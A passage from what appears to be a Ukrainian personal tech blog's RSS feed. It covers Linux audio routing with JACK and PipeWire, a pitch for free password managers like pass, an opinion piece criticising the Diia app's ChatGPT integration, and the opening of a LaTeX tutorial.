&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;Рівняння з &lt;a href=&#34;https://wiki.archlinux.org/title/Professional_audio#%23Latency_verification&#34;&gt;Арчвікі&lt;/a&gt; &amp;mdash; рекомендую прочитати цю статтю повністю&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
</description>
	</item>
	
	<item>
		<title>Керування аудіоз&#39;єднаннями у GNU/Linux (JACK, PipeWire)</title>
		<link>https://miliukhin.xyz/articles/audio_connections/</link>
		<pubDate>Wed, 16 Aug 2023 17:56:00 +0200</pubDate>
		
		<guid>https://miliukhin.xyz/articles/audio_connections/</guid>
		<description>&lt;h2 id=&#34;аудіо-в-лінукс&#34;&gt;Аудіо в Лінукс&lt;/h2&gt;
&lt;p&gt;Основний звуковий функціонал у лінуксі забезпечує &lt;a href=&#34;https://www.alsa-project.org/wiki/Main_Page&#34;&gt;ALSA&lt;/a&gt;.
Щоб спростити роботу з аудіо, ми використовуємо звукові сервери.
Вони дають можливість легко керувати потоками аудіо,
наприклад, по-різному їх поєднувати або передавати через мережу.
Ось найпопулярніші:&lt;/p&gt;
&lt;dl&gt;
&lt;dt&gt;JACK Audio Connection Kit&lt;/dt&gt;
&lt;dd&gt;аудіосервер, створений спеціально для професійної роботи зі звуком&lt;/dd&gt;
&lt;dt&gt;PulseAudio&lt;/dt&gt;
&lt;dd&gt;більше зосереджений на повсякденному використанні, але більшість тепер надає перевагу PipeWire&lt;/dd&gt;
&lt;dt&gt;PipeWire&lt;/dt&gt;
&lt;dd&gt;поєднує найкраще з JACK і PulseAudio&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;Більше &lt;a href=&#34;https://wiki.archlinux.org/title/sound_system&#34;&gt;тут&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Звісно, більшість програм для професійної
роботи зі звуком &amp;mdash; клієнти JACK, тому далі будемо балакати про нього
та його замінник для PipeWire.&lt;/p&gt;
&lt;p&gt;Можливо, JACK потрібно буде встановити,
але він може поставлятися й разом із дистриб&amp;rsquo;юцією.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;pacman -S jack &lt;span class=&#34;c1&#34;&gt;# наприклад, за допомогою pacman в Арч Лінуксі та похідних&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;Якщо ваша система використовує &lt;strong&gt;PipeWire&lt;/strong&gt; як аудіосервер,
то логічно буде натомість установити &lt;strong&gt;pipewire-jack.&lt;/strong&gt;
Також для роботи з PipeWire корисно буде почитати
&lt;a href=&#34;https://github.com/mikeroyal/PipeWire-Guide&#34;&gt;https://github.com/mikeroyal/PipeWire-Guide&lt;/a&gt; (обережно, де-не-де пропрієтарщина).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;налаштування-зєднань&#34;&gt;Налаштування з&amp;rsquo;єднань&lt;/h2&gt;
&lt;p&gt;Нарешті ми дійшли до дійсно кльової штуки, яку
нам дають аудіосервери &amp;mdash; патчбеїв, тобто програм
для з&amp;rsquo;єднання різних джерел звуку з різними виводами.&lt;/p&gt;
&lt;h3 id=&#34;gui&#34;&gt;GUI&lt;/h3&gt;
&lt;p&gt;Для керування JACK я використовував Qjackctl, а зараз
на PipeWire користуюсь Qpwgraph.&lt;/p&gt;

&lt;figure
	&gt;
		&lt;img src=&#34;qpwgraph.webp&#34;&gt;&lt;figcaption&gt;Вигляд з&amp;#39;єднань у QPWGraph&lt;/figcaption&gt;&lt;/figure&gt;

&lt;h4 id=&#34;для-jack&#34;&gt;для JACK:&lt;/h4&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/rncbc/qjackctl&#34;&gt;Qjackctl&lt;/a&gt;,
&lt;a href=&#34;https://kx.studio/Applications:Cadence&#34;&gt;Cadence&lt;/a&gt;,
&lt;a href=&#34;https://github.com/ovenwerks/studio-controls&#34;&gt;studio controls&lt;/a&gt;,
&amp;mdash; більше програм
&lt;a href=&#34;https://wiki.archlinux.org/title/JACK_Audio_Connection_Kit&#34;&gt;тут&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&#34;для-pipewire&#34;&gt;для PipeWire:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.freedesktop.org/rncbc/qpwgraph&#34;&gt;qpwgraph&lt;/a&gt; (Qt, схожа на QJackCtl)&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.freedesktop.org/pipewire/helvum&#34;&gt;Helvum&lt;/a&gt; (GTK-реалізація, натхненна Catia)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&#34;https://drobilla.net/software/patchage.html&#34;&gt;patchage&lt;/a&gt; ніби працює і з PipeWire, і з JACK.&lt;/p&gt;
&lt;h3 id=&#34;cli&#34;&gt;CLI&lt;/h3&gt;
&lt;p&gt;Усе, що пропонують графічні програми, і навіть
більше, можна робити в терміналі.&lt;/p&gt;
&lt;h4 id=&#34;для-jack-1&#34;&gt;для JACK:&lt;/h4&gt;
&lt;p&gt;тут ше &lt;a href=&#34;https://askubuntu.com/questions/1153655/making-connections-in-jack-on-the-command-line&#34;&gt;інфо&lt;/a&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;jack_lsp &lt;span class=&#34;c1&#34;&gt;# список портів&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;jack_lsp -c &lt;span class=&#34;c1&#34;&gt;# з&amp;#39;єднані порти&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;далі можна їх з&amp;rsquo;єднувати за допомогою
&lt;code&gt;jack_connect&lt;/code&gt; і &lt;code&gt;jack_disconnect&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;для-pipewire-1&#34;&gt;для PipeWire:&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;man pw-link
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;pw-link -iol -I &lt;span class=&#34;c1&#34;&gt;# список усіх портів та їх з&amp;#39;єднання&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;корисно-почитати&#34;&gt;Корисно почитати&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://wiki.archlinux.org/title/JACK_Audio_Connection_Kit&#34;&gt;https://wiki.archlinux.org/title/JACK_Audio_Connection_Kit&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
	</item>
	
	<item>
		<title>Хто не має менеджера паролів, той лох</title>
		<link>https://miliukhin.xyz/articles/password_managers/</link>
		<pubDate>Wed, 05 Apr 2023 20:30:50 +0300</pubDate>
		
		<guid>https://miliukhin.xyz/articles/password_managers/</guid>
		<description>&lt;h2 id=&#34;чому-менеджери-паролів-такі-базовані&#34;&gt;Чому менеджери паролів такі базовані?&lt;/h2&gt;
&lt;p&gt;Якщо ви маєте багато облікових записів чи паролів
до різних штук, то я можу припустити таке:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;або ви маєте багато &amp;ldquo;складних&amp;rdquo; (настільки, наскільки вам вистачає терпіння) паролів та записуєте їх на папері (безпека залежить, звісно, від складності паролів та того, де ви їх зберігаєте)&lt;/li&gt;
&lt;li&gt;або ви маєте складніші паролі, але зберігаєте їх у текстовому файлі (&lt;strong&gt;небезпечно та безвідповідально&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;або прості паролі, які легко пам&amp;rsquo;ятати (&lt;strong&gt;нашо вам тоді паролі&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;або один пароль на все (&lt;em&gt;&lt;strong&gt;я б хотів вам поспівчувати, але нема сили&lt;/strong&gt;&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Або ви вже користуєтеся менеджером паролів, бо розумієте, що
це втілення безпеки та простоти.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&#34;із-менеджером-паролів-ваші-дані-в-безпеці&#34;&gt;Із менеджером паролів ваші дані в безпеці&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Паролі зберігаються в зашифрованому вигляді.&lt;/li&gt;
&lt;li&gt;Ви використовуєте один (безумовно складний) пароль для отримання доступу до них.&lt;/li&gt;
&lt;li&gt;Через це нема потреби використовувати той самий пароль для різних акаунтів, отже, якщо десь станеться
витік даних, не потрібно буде через це перейматись.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;значно-краще-за-модні-touchface-id&#34;&gt;Значно краще за модні Touch/Face ID&lt;/h4&gt;
&lt;p&gt;Face і Touch ID &amp;mdash; це те саме, що мати один
пароль, який &lt;strong&gt;не можна змінити&lt;/strong&gt; (пересадка пальців чи голови, обирайте), до всіх облікових записів. Крім того, ці технології:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;толерують неточності у сканах (бо різні фізичні фактори серйозно впливають на результати) &amp;mdash; через це достатньо фотографії та кількох інструментів для того, щоб обдурити сканер;&lt;/li&gt;
&lt;li&gt;дозволяють злодіям силою чи хитрістю розблокувати ваш пристрій &lt;em&gt;(якщо вас скрутять, то що краще: пароль на тілі чи в пам&amp;rsquo;яті?)&lt;/em&gt;;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Використовуючи ці штуки замість паролів, ви робите &lt;em&gt;&lt;strong&gt;величезну&lt;/strong&gt;&lt;/em&gt; послугу зловмисникам.&lt;/p&gt;
&lt;p&gt;Також автентифікація за біометрією
&lt;a href=&#34;https://www.unixsheikh.com/articles/are-passkeys-really-the-beginning-of-the-end-of-passwords-i-certainly-hope-not.html&#34;&gt;робить вас іще більш залежними від технологічних гігантів&lt;/a&gt;,
і вони можуть заблокувати вас у будь-який момент.&lt;/p&gt;
&lt;h3 id=&#34;менеджер-паролів--це-зручність&#34;&gt;Менеджер паролів &amp;mdash; це зручність&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Усі паролі в одному місці. Мати можна безліч, пам&amp;rsquo;ятати &amp;mdash; лише один.&lt;/li&gt;
&lt;li&gt;Часто менеджери паролів мають багато неочікуваних приємностей, наприклад
&lt;ul&gt;
&lt;li&gt;аналіз ентропії згенерованих паролів&lt;/li&gt;
&lt;li&gt;можливість двофакторної автентифікації за допомогою OTP (одноразових паролів)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Необмежена креативність. Можете зберігати паролі на власному сервері (дійсно краще на власному)
і синхронізувати їх на різних пристроях за потреби. А можете тримати їх на флешці, пришитій до пупка.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Зараз ви думаєте, який менеджер паролів обрати, тож ось кілька порад:&lt;/p&gt;
&lt;h2 id=&#34;як-обрати-менеджер-паролів&#34;&gt;Як обрати менеджер паролів?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;!!НІКОЛИ НЕ ВИКОРИСТОВУЙТЕ ПРОПРІЄТАРНИЙ!!&lt;/strong&gt;&lt;/em&gt;
Інакше в подальших діях нема сенсу &amp;mdash; це те саме, що подумати, що незручно тримати багато важливої інформації в голові, виписати її на листку й віддати незнайомцеві. Виписування нічого поганого не передбачає, а от чужа людина може опублікувати всі ваші секрети.&lt;/li&gt;
&lt;li&gt;Оцініть його актуальність та власні вимоги до функціоналу.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Щоб не лити воду й не брехати, розповім тільки про ті, якими користувався.&lt;/p&gt;
&lt;h3 id=&#34;keepassxc&#34;&gt;&lt;a href=&#34;https://keepassxc.org/&#34;&gt;KeePassXC&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Вільний менеджер паролів зі зручним графічним інтерфейсом та широким
функціоналом.&lt;/p&gt;
&lt;p&gt;Я ним користувався, поки не зловив себе на тому, що вжиткую &lt;code&gt;keepassxc-cli&lt;/code&gt;,
інтерфейс якого мені не зовсім подобається, тож я перейшов на&amp;hellip;&lt;/p&gt;
&lt;h3 id=&#34;pass&#34;&gt;&lt;a href=&#34;https://www.passwordstore.org/&#34;&gt;Pass&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Це просто скрипт, який шифрує файли з паролями за допомогою &lt;strong&gt;GnuPG&lt;/strong&gt;.
І саме через це він дуже крутий. Важить мало, робить свою справу добре, і легко
поєднується з іншими програмами.
Якщо вам, як і мені, до душі філософії юнікс та suckless, то качайте Pass, це для вас!&lt;/p&gt;
&lt;p&gt;Міграція з Keepass до Pass пройшла дуже просто, ось пакунки, які я використовував
для цього, та стислі вказівки:&lt;/p&gt;
&lt;dl&gt;
&lt;dt&gt;pass-import&lt;/dt&gt;
&lt;dd&gt;розширення pass для іморту даних із інших менеджерів паролів&lt;/dd&gt;
&lt;dt&gt;pykeepass&lt;/dt&gt;
&lt;dd&gt;бібліотека python для взаємодії з базами keepass&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;також ви можете використати &lt;strong&gt;pam-gnupg&lt;/strong&gt;, щоб розблоковувати ключ gpg (відповідно, базу паролів) під час входу.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;gpg --full-gen-key &lt;span class=&#34;c1&#34;&gt;## згенерувати ключі PGP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;pass init &amp;lt;ключ gpg або пошта, яку ви вказали&amp;gt; &lt;span class=&#34;c1&#34;&gt;## ініціалізувати базу pass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;pass import keepassxc &amp;lt;шлях до бази keepass&amp;gt; &lt;span class=&#34;c1&#34;&gt;## Всьо&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;більше про міграцію &lt;a href=&#34;https://catintogrep.com/2020/07/07/migrating-from-keepassxc-to-pass.html&#34;&gt;тут&lt;/a&gt; і на сайті Pass. Бо ця стаття на іншу тему&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://videos.lukesmith.xyz/videos/watch/432fc942-5e28-4682-9beb-f5cb237a1dd6&#34;&gt;Двофакторна автентифікація (OTP) в pass&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Якщо ви використовуєте dmenu, то &lt;strong&gt;pinentry-dmenu&lt;/strong&gt; може вам сподобатись.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://gist.github.com/abtrout/d64fb11ad6f9f49fa325&#34;&gt;https://gist.github.com/abtrout/d64fb11ad6f9f49fa325&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;пароль-для-бази-паролів&#34;&gt;Пароль для бази паролів&lt;/h2&gt;
&lt;p&gt;Для бази паролів треба скласти складний пароль, який легко запам&amp;rsquo;ятати.&lt;/p&gt;
&lt;p&gt;Більше 20 випадкових символів включно зі спеціальними вводити незручно, тож
краще створіть значно довшу фразу-пароль (30+).
Додайте туди вигаданих слів (щоб словникова атака мала менше шансів спрацювати без додаткової соціальної інженерії). Якщо ще напхаєте довільних символів, то взагалі буде супер.&lt;/p&gt;
&lt;p&gt;Можете згенерувати фразу-пароль тим же менеджером паролів.&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>ДіяGPT — тотальний злив. Автор сайту тотально злий!</title>
		<link>https://miliukhin.xyz/articles/diiagpt/</link>
		<pubDate>Sat, 18 Mar 2023 12:24:28 +0200</pubDate>
		
		<guid>https://miliukhin.xyz/articles/diiagpt/</guid>
		<description>&lt;h2 id=&#34;увага-ваша-особистість-у-тотальній-халепі&#34;&gt;Увага! Ваша особистість у тотальній халепі!&lt;/h2&gt;
&lt;p&gt;Якось я збирався написати трохи про своє ставлення до Дії,
але відклав цю справу на потім. Нещодавні події довели, що даремно,
тому ось.&lt;/p&gt;
&lt;h2 id=&#34;кілька-причин-не-вірити-цій-системі&#34;&gt;Кілька причин не вірити цій системі:&lt;/h2&gt;
&lt;dl&gt;
&lt;dt&gt;&lt;a href=&#34;https://www.rbc.ua/ukr/news/avtorizovatsya-diya-mozhno-telefonah-pochemu-1635423640.html&#34;&gt;Дія не працює на рутованих девайсах&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;а це єдині мобільні пристрої, яким можна довіряти, хоча я сумніваюся, що людина з хакнутим телефоном узагалі буде завантажувати будь-яку пропрієтарну програму.&lt;/dd&gt;
&lt;/dl&gt;
&lt;blockquote&gt;
&lt;p&gt;Якщо на телефоні з Android є root-права або &amp;ldquo;джейлбрейк&amp;rdquo; на iPhone, то на такому пристрої неможливо авторизуватися в &amp;ldquo;Дії&amp;rdquo;. Сам застосунок перевіряє чи є такі доступи на цьому смартфоні, якщо так, то він вважає, що цей пристрій не є безпечним для використання документів&amp;quot;, &amp;mdash; &lt;strong&gt;Баник&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;dl&gt;
&lt;dt&gt;Пропрієтарна&lt;/dt&gt;
&lt;dd&gt;Ми не знаємо, які дії застосунок виконує, тому він підозрілий.&lt;/dd&gt;
&lt;dt&gt;Усі ваші документи &amp;mdash; не ваші документи.&lt;/dt&gt;
&lt;dd&gt;Маєте папір? Маєте доки. Не маєте інтернету? Не маєте доків.&lt;/dd&gt;
&lt;dt&gt;Смартфони&lt;/dt&gt;
&lt;dd&gt;Всі смартфони пропікані, тому я не бажаю мати нічого важливого (документів особливо) на смартфоні.&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;Тому навіть якщо пану Федорову вдасться (ой!) вберегти купу користувацьких
даних у датацентрі DeNovo від зливу, то вони все одно витечуть через їх пристрої.&lt;/p&gt;
&lt;h2 id=&#34;інтеграція-chatgpt-у-дію&#34;&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=yrsWnmihwN8&amp;amp;t=217s&#34;&gt;Інтеграція ChatGPT у Дію&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Цей AI-чатбот зараз настільки популярний, що не потребує представлення.
Зауважу лише те, що відколи компанію-розробника OpenAI фінансує Microsoft,
вона не публікує сирці своїх доробок. Це значить, що:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Ми більше не можемо залазити під капот.&lt;/li&gt;
&lt;li&gt;Якість програми погіршиться&lt;/li&gt;
&lt;li&gt;Microsoft збирає та бачить і продає все, що користувачі пишуть ботові.&lt;/li&gt;
&lt;li&gt;А ще акаунтами торгують на маркетплейсах у даркнеті, і оскільки
багато хто не думає, що туди пише, це все використовується потім на зло.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Отож, отримавши серйозну підтримку від великої корпорації, OpenAI стала
поступово захоплювати все більше місця в цифровому світі. Створення Bing
Chat із подальшою інтеграцією в операційну систему Windows в марному намаганні
осучаснити те, що померло, та й чого тільки
майкрософт &amp;mdash; Google та Meta долучилися до перегонів, хоча остання
після зливу моделей для Llama дещо збентежилась.
Вільні люди натомість розробляють &lt;a href=&#34;https://open-assistant.io/&#34;&gt;Open Assistant&lt;/a&gt;
&amp;mdash; значно цікавіший та не обмежений корпоративними цілями проєкт,
але повернімося до теми.&lt;/p&gt;
&lt;p&gt;Загальновідомо те, що Microsoft має тісні стосунки з урядами багатьох
держав, і, мені здається, взаємодія компанії з нашою владою цього року
значно посилилась. Далі &amp;mdash; мої аргументи проти ChatGPT конкретно в Дії.&lt;/p&gt;
&lt;h3 id=&#34;1-розподілена-крадіжка-особистості&#34;&gt;1. Розподілена крадіжка особистості&lt;/h3&gt;
&lt;p&gt;По-перше, інтегрувавши цю штуку в систему, якою люди користуються як
для поверхневих, так і глибоких взаємодій із державною інфраструктурою
та формування свого майбутнього, корпорація отримує доступ  до
більшої кількості планів людей, ніж навіть держава (хоча я тут можу
сказати, що все й так збирає Windows, яка буквально скріншотить усе, що користувач робить).&lt;/p&gt;
&lt;h3 id=&#34;2-глобальна-деградація&#34;&gt;2. Глобальна деградація&lt;/h3&gt;
&lt;p&gt;По-друге, помилка чатбота спричинятиме великі незручності, адже люди
все більше довіряють йому (що &lt;em&gt;дуже погано&lt;/em&gt;, бо ця штука всього-навсього
проганяє через себе багато слів та насправді не має рації&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;) й
не дослідивши питання робитимуть дурні помилки, здатні зруйнувати їм життя.
Хоча чи це не те, що насправді хоче від нас олігархат?&lt;/p&gt;
&lt;h3 id=&#34;3-маніпуляція&#34;&gt;3. Маніпуляція&lt;/h3&gt;
&lt;p&gt;По-третє, як ми вже пересвідчилися з ChatGPT та Bing Chat, провайдери технологій
завжди будуть обмежувати користувачів у власних, етичних або не дуже,
інтересах.&lt;/p&gt;
&lt;p&gt;Крім того, вони не забувають пхати рекламу всюди, де це можливо, а у
відповідях &amp;ldquo;розумного&amp;rdquo; штучного інтелекту вона ще й виглядає органічно.&lt;/p&gt;

&lt;figure
	class=&#34;center&#34; style=&#34;max-width: 400px;&#34;&gt;&lt;a href=&#34;https://www.reddit.com/r/bing/comments/11hejuq/ah_so_bing_chat_has_now_started_incorporating_ads/&#34;&gt;
		&lt;img src=&#34;bing_ad.png&#34; width=&#34;400px&#34;&gt;&lt;/a&gt;&lt;figcaption&gt;Реклама в Bing Chat&lt;/figcaption&gt;&lt;/figure&gt;

&lt;h2 id=&#34;висновок&#34;&gt;&lt;del&gt;Висновок&lt;/del&gt;&lt;/h2&gt;
&lt;p&gt;&lt;del&gt;Як завжди, закритість спотворює хороші ідеї. Я не проти компаній чи комерції
&amp;mdash; я проти зловживання впливом та маніпуляцій.&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;&lt;del&gt;Великі мовні моделі дійсно
можуть спростити нам життя, але сервіси під контролем корпорацій завжди
просуватимуть їх бачення та партнерів, закопуючи те, що вважають неналежним
або цензурують.&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;&lt;del&gt;Отже, ми маємо розвивати вільні альтернативи та використовувати їх.
Я не уповноважений радити щось керівництву Міністерства цифрової
трансформації, але зауважу, що з міркувань безпеки
використовувати закриту технологію у таких обсягах нерозважливо.&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;&lt;del&gt;А також &amp;mdash; і це головне &amp;mdash; наші розумові здібності не повинні залежати
від обчислювальної здатності наших комп&amp;rsquo;ютерів.&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Перечитав цю статтю недавно, не знаю, що це за висновки. Ось що наспавді треба робити:&lt;/strong&gt;&lt;/p&gt;
&lt;iframe style=&#34;border: 0; width: 100%; height: 120px;&#34; src=&#34;https://bandcamp.com/EmbeddedPlayer/album=2764902642/size=large/bgcol=ffffff/linkcol=0687f5/tracklist=false/artwork=small/track=717565677/transparent=true/&#34; seamless&gt;&lt;a href=&#34;https://defenestracijaa.bandcamp.com/album/super-ultra-deluks-edisn&#34;&gt;Українська Правда (super ultra deluks edisn) by Дефенестрація&lt;/a&gt;&lt;/iframe&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;Відсутність аналітичних здібностей &amp;mdash; головна проблема всіх
сучасних моделей штучного інтелекту, і саме через це вони підходять тільки
для генерації ідей, розпізнавання/відтворення образів та симуляції лампових підсилювачів.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
</description>
	</item>
	
	<item>
		<title>Базовані документи в LaTeX</title>
		<link>https://miliukhin.xyz/articles/latex/</link>
		<pubDate>Mon, 27 Feb 2023 02:17:10 +0200</pubDate>
		
		<guid>https://miliukhin.xyz/articles/latex/</guid>
		<description>&lt;p&gt;Відкрили Microsoft Word і все поплило? Хочеться ригати? Створення документів викликає бажання викинутись у вікно? Вихід Є!&lt;/p&gt;
&lt;h2 id=&#34;що-це-взагалі-таке&#34;&gt;Що це взагалі таке?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;LaTeX&lt;/strong&gt; [латèх, не латекс!] &amp;mdash; це дуже зручна система верстки. Уся серйозна писанина зверстана мовою LaTeX,
бо це забезпечує гнучкість роботи з файлами та отримання гарних, структурованих паперів.&lt;/p&gt;
&lt;p&gt;Якщо коротко, то за допомогою LaTeX це&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-tex&#34; data-lang=&#34;tex&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\newcommand&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;\entry&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;[3]&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;\markboth&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;##1&lt;span class=&#34;nb&#34;&gt;}{&lt;/span&gt;#1&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;\textbf&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;#1&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;\ &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;\bullet&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;\ &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;#2&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;;&lt;span class=&#34;k&#34;&gt;\ &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;\it&lt;/span&gt;#3&lt;span class=&#34;nb&#34;&gt;}}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\entry&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;to pester&lt;span class=&#34;nb&#34;&gt;}{&lt;/span&gt;набридати&lt;span class=&#34;nb&#34;&gt;}{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\entry&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;platter&lt;span class=&#34;nb&#34;&gt;}{&lt;/span&gt;жорсткий магнетний диск, грамплатівка&lt;span class=&#34;nb&#34;&gt;}{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
